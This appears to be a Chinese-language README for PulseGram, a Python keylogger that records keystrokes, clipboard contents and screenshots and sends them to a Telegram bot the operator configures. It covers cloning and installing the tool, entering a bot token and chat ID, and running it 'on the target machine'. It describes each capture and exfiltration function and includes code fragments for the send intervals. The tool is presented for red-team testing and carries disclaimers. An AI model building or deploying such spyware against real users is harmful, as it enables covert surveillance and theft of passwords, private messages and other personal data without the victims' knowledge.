PulseGram 是一个集成 Telegram 机器人的键盘记录器。它是一款监控工具,能够捕获按键、剪贴板内容和屏幕截图,并将所有信息发送到配置好的 Telegram 机器人。它专为对抗模拟和安全测试场景而设计。
⚠️ 警告: 本项目仅用于教育目的以及在授权环境中的安全测试。未经授权使用此工具可能违法并被禁止。
_____ _ _____
| __ \ | | / ____|
| |__) | _| |___ ___| | __ _ __ __ _ _ __ ___
| ___/ | | | / __|/ _ \ | |_ | '__/ _` | '_ ` _ \
| | | |_| | \__ \ __/ |__| | | | (_| | | | | | |
|_| \__,_|_|___/\___|\_____|_| \__,_|_| |_| |_|
作者:Omar Salazar
版本:V.1.0
errors_log.txt 文件中,方便调试。
克隆仓库:
git clone https://github.com/TaurusOmar/pulsegram
cd pulsegram
安装依赖:确保已安装 Python 3 和 pip。然后运行:
pip install -r requirements.txt
设置 Telegram 机器人令牌:
使用 BotFather 在 Telegram 上创建一个机器人。
复制您的令牌并将其粘贴到 main.py 中初始化机器人的代码中。
在 keylogger.py 中复制您的 ChatID chat_id="131933xxxx"。
在目标机器上运行工具:
python pulsegram.py
这是工具的主文件,负责初始化机器人并启动异步任务来捕获和发送数据。
Bot(token="..."):使用您的个人令牌初始化 Telegram 机器人。
asyncio.gather(...):启动多个任务,执行剪贴板监控、截图捕获和按键记录。
log_error:如果出现错误,将其记录到 errors_log.txt 文件中。
该模块包含辅助函数,协助工具的整体运行。
log_error():将任何错误以日期时间格式记录到 errors_log.txt 中。
get_clipboard_content():捕获剪贴板的当前内容。
capture_screenshot():截取屏幕截图并临时保存,以便发送到 Telegram 机器人。
此模块处理按键记录、剪贴板监控和截图捕获。
capture_keystrokes(bot):异步函数,捕获按键并将信息发送到 Telegram 机器人。
send_keystrokes_to_telegram(bot):该函数将累积的按键发送到机器人。
capture_screenshots(bot):定期捕获屏幕图像并发送到机器人。
log_clipboard(bot):将剪贴板内容发送到机器人。
更改捕获和信息发送的时间间隔。
async def send_keystrokes_to_telegram(bot):
global keystroke_buffer
while True:
await asyncio.sleep(1) # 更改按键发送间隔
async def capture_screenshots(bot):
while True:
await asyncio.sleep(30) # 更改截图捕获间隔
try:
async def log_clipboard(bot):
previous_content = ""
while True:
await asyncio.sleep(5) # 更改检测剪贴板变化的间隔
current_content = get_clipboard_content()
本项目仅用于教育目的以及在您自己的环境中或经明确授权的安全测试。未经授权使用此工具可能违反当地法律和隐私政策。
欢迎贡献。合作时请遵守行为准则。
本项目采用 MIT 许可证。